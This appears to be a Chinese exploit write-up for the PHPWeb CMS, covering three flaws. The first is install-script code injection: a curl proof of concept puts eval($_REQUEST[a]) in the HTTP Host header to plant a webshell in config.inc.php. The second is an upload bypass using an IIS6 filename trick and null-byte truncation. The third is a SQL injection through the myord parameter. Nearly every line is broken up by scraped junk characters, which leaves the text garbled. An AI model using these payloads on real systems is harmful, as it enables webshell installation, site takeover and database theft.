注入:5 `/ q3 H& r! i" Q; B
. S1 Y6 ^$ ?0 d7 |; L之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
9 [* Z( m( H9 f/ J* _ $ [* H5 c' H' ]# N0 e* H
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
& M# s5 ^. R& h3 g# F鸡肋2: 有一定安全常识的站长都会删掉 install 目录- ^1 q n2 B) P8 w) s: d7 I
4 z7 i0 M- G+ b虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
6 X" H7 C1 S, {4 D _6 D 2 c6 A! `- ]" w
分析:3 Z6 S4 Z' D* d" s2 H' f# Y
$ y- n9 J! N9 j% t4 D
& e; X- p, Q; G/ `/ N
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤: {, Z- T8 ]# s/ r
. m' |, G/ O# i v- W $filestr = fread(fopen($SysConfigFile, 'r'),30000);0 f7 A8 `6 @1 I! ?! v% d9 C
$filestr=str_replace(" ","",$filestr);0 r7 E$ A, I& S
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);' R! x) Q- L* U9 U
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
2 d) ]* j( ^! n8 Z3 N% o $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
, s1 X5 ^' ]6 X5 U+ F0 a5 C $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);& z, L% e. K& b
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);
6 E2 U. g3 s# [) C+ W+ f $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);% T' C5 i! {$ f
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
+ @3 ~6 ~4 a: o d / C$ ?& R9 [- U! ?
fwrite(fopen($ConFile,"w"),$filestr,30000);. k8 E( ^: r4 C) R
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^; g7 z( x: k' Y3 _
- X+ C8 y& a9 o0 Z7 o0 j# @poc:
7 d% h4 {3 Z( Q( U# q
# D* h9 n! B J! J( v9 I7 r?0 O# d& t2 m) l; X! N* u6 r
1
. w) Q4 a1 H8 Q J1 y9 rcurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
8 w3 m6 D: _* }( M) fshell地址: /config.inc.php
! N: I; G4 j" p/ c跟之前的 phpcms一样 需要远程数据库; S0 N7 g+ E+ l: r. [
6 l) j7 O# O/ n( j
——————————————————–
5 C! F$ r# z! c% h) p( @1 G( h0 q上传漏洞(需要进后台):% [, a7 ~% d6 y7 K* S
漏洞文件: /kedit/upload_cgi/upload.php' P ~! m: s6 e1 A
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
' P0 W5 m" L. b! @8 i ) M, z! V9 H5 P" [' M8 ?
$ F$ @, ` U/ ^6 ]/ h
<?php, c b, U: Q* d8 j
define("ROOTPATH", "../../");
l7 Y! K% i' ^) C$ Q include(ROOTPATH."includes/admin.inc.php");
/ j+ B+ R- G+ ^2 x7 ^ NeedAuth(0);& `$ _ ]- f' Z N7 i) I8 e
- ]" {. x; g* s( G2 O' D8 O $dt=date("Ymd",time());
2 [7 R2 G0 ^1 u* x if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){6 f) R/ y/ X* a$ c
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);/ ?4 n# }9 L% a+ E- `4 W r4 l
}
+ N: J: ^" [# r' Z. U : r2 N6 g6 A- u7 v( Y% k5 I' p
//文件保存目录路径& S7 m+ u) e( v: {) _% z" h
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';/ w0 T7 @1 k* ?- a
echo $save_path;
; v) m3 j3 Y8 X3 @0 P) Q" c- K; K //文件保存目录URL
. G- F# D3 ]2 e# X $save_url = '../../'.$_POST['attachPath'].$dt.'/';( A. g3 m- Z7 z# d
$ ?/ M! H# @% o. L% R
//定义允许上传的文件扩展名
9 P. L0 \' ?2 @# {" n9 u $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
! C# a4 {( }: {) R" A
, H+ r% O$ [, S2 { //最大文件大小
2 z& Y+ H3 g3 Z( \. Q $max_size = 1000000;
5 b8 B+ B ^5 S% I+ M D8 _# P8 m
7 m- I& q5 t0 \5 A //更改目录权限
- l6 H; g( ^1 D T5 L; z7 i @mkdir($save_path, 0777);
0 D7 m/ B: s _7 G F" K6 L! s+ {0 B& m
//文件的全部路径9 j. a! a* V* b
$file_path = $save_path.$_POST['fileName']; //保存文件名" P3 C0 x* ? u& z( P) x& g1 P% I
$ B$ ]) y0 b' P; r/ K1 c
//文件URL! Y2 ?# ]: w: j Y
$file_url = $save_url.$_POST['fileName'];4 K" C% J) ` ~6 v& ]0 M
//有上传文件时# u# H4 I2 }( [: w
if (empty($_FILES) === false) {
$ S8 i7 s4 j) W) x/ P& w
5 Z1 k7 A4 _7 [. C //原文件名
6 r; A+ g% K4 h$ Z- r f! P $file_name = $_FILES['fileData']['name'];
5 j h/ F; ]6 ?9 P | //服务器上临时文件名! l+ ^8 |- O$ o) b
$tmp_name = $_FILES['fileData']['tmp_name'];
( R( C3 J' J. m$ Y //文件大小8 [& `$ a) N; T7 v0 G& x
$file_size = $_FILES['fileData']['size'];
/ y+ k* j. V) }/ h6 K //检查目录
! @0 E9 ]- [! P U9 N0 S% H, S" i if (@is_dir($save_path) === false) {: V& U1 [ I* @4 q
alert("上传目录不存在。");2 } h' I- X, Q# M/ i" S) e8 b: s' d
}
: \- Z+ M% O. T, I: S8 I- x% y //检查目录写权限
9 Y0 X8 R% ]* g) s$ L) { if (@is_writable($save_path) === false) {
! w- A$ ~* Z5 D6 ] alert("上传目录没有写权限。");
I/ R0 Q/ A1 V' }$ u }
; y; _0 V5 w% T& W //检查是否已上传- N% v2 N% X5 x* i; v$ \
if (@is_uploaded_file($tmp_name) === false) {
7 X& F; l5 ?# Z1 x: B: E alert("临时文件可能不是上传文件。");
) ^% a9 k) f4 n: ?. _, u. G }
/ w: C9 c0 B- T& S7 r5 d //检查文件大小
, L4 z. W* ?% E8 r4 g if ($file_size > $max_size) {
U0 i' b1 C1 S+ p- j9 q alert("上传文件大小超过限制。");
( p- M' C+ ]7 n2 D; z' c; f1 J0 f, { }2 Z" A/ o5 D; n [4 J( C* C
//获得文件扩展名8 I- d. G2 d6 D, q7 o
$temp_arr = explode(".", $_POST['fileName']);
/ I" \, t4 p- A! i5 Z8 y $file_ext = array_pop($temp_arr);
6 }* f$ K1 y' [2 M$ {) D( M $file_ext = trim($file_ext);4 f0 `& T4 O9 z N, Y
$file_ext = strtolower($file_ext);( i/ ^4 t7 `& n4 _5 b$ F
* p A, R2 [# T& { //检查扩展名 1 d8 I5 t0 X8 r
if (in_array($file_ext, $ext_arr) === false) {
) K1 f3 e* o; `" g4 f alert("上传文件扩展名是不允许的扩展名。");% k1 K6 D4 ^2 y+ j9 I
}+ s2 B( p& a' e, y' U
3 ^0 y: r& h3 @9 ] h3 { //移动文件 8 a$ G+ q( b. o; `! m- [0 `
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
0 u1 N3 x8 z( g6 V+ P% i# ] if (move_uploaded_file($tmp_name, $file_path) === false) {
7 x' b. k" {3 I alert("上传文件失败。");: A) D- ^1 ^7 N# o& r8 }1 O* {6 Y4 l
}
* m" Z8 h8 O5 a# P8 n ) b1 A1 u0 h; O& F4 U
@chmod($file_path,0666);+ s2 O8 r# ~9 Y
* W0 d* R7 `6 _5 V+ A9 O0 x0 y1 m ?>* x6 M0 N2 x& h Z: l) @& i ?+ H
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227+ }4 I) `; ?* p6 I- L1 c
( A( ]4 F$ l: I( r& e8 rapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过( ~3 N6 g# |2 _- [$ `, G
" E/ _% Y# p& f; i: C9 F# p——————————————————5 r7 s, p4 v3 ]
注入漏洞:
( _* a9 l, |& d2 p3 c; f8 r漏洞文件:search/module/search.php
4 N+ r8 T) a! L/search/index.php?key=1&myord=1 [sqlinjection]
: ?. Q) c3 j' y- S, }
7 y* v# s" p6 B. T3 N. @4 S. f, u . A$ `- G4 z6 t$ o3 Z9 e2 b& L
<?php
5 }, ]$ v, n* H // ... 省略 n 行...
% ^) I# b% \! E3 a //第18行:
5 h3 [8 U+ `4 I% g6 r* E $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
% y* z" R9 ?1 T6 k7 X $page=htmlspecialchars($_GET["page"]);
+ J3 E9 e. E. ~9 p I $myord=htmlspecialchars($_GET["myord"]);. C1 g6 f: e |) E/ g
9 s4 V1 n; C1 p9 Y- N8 B3 n* \/ H( \
// ... 省略 n 行...0 x6 |3 D0 q; S- `1 O; x, V
$key,$myord 两个参数带入查询
* f7 w Q! @+ \3 H) F( Y" q //第47行 $key:
- ^, P0 d& Z; Q ) s) X; o3 c3 L3 ^6 n0 y) A9 e
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..: ?2 K; a( T6 C) [# w! i
1 T% e2 H8 R( D: s //第197行 $myord0 s( H( ?) n/ N' _, v/ x
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入9 D8 @5 b5 x' J) [7 K7 G( u+ g
' a) x' `: U1 J/ w. O, D ?>. ]1 N9 P. q1 Q+ N K6 \
|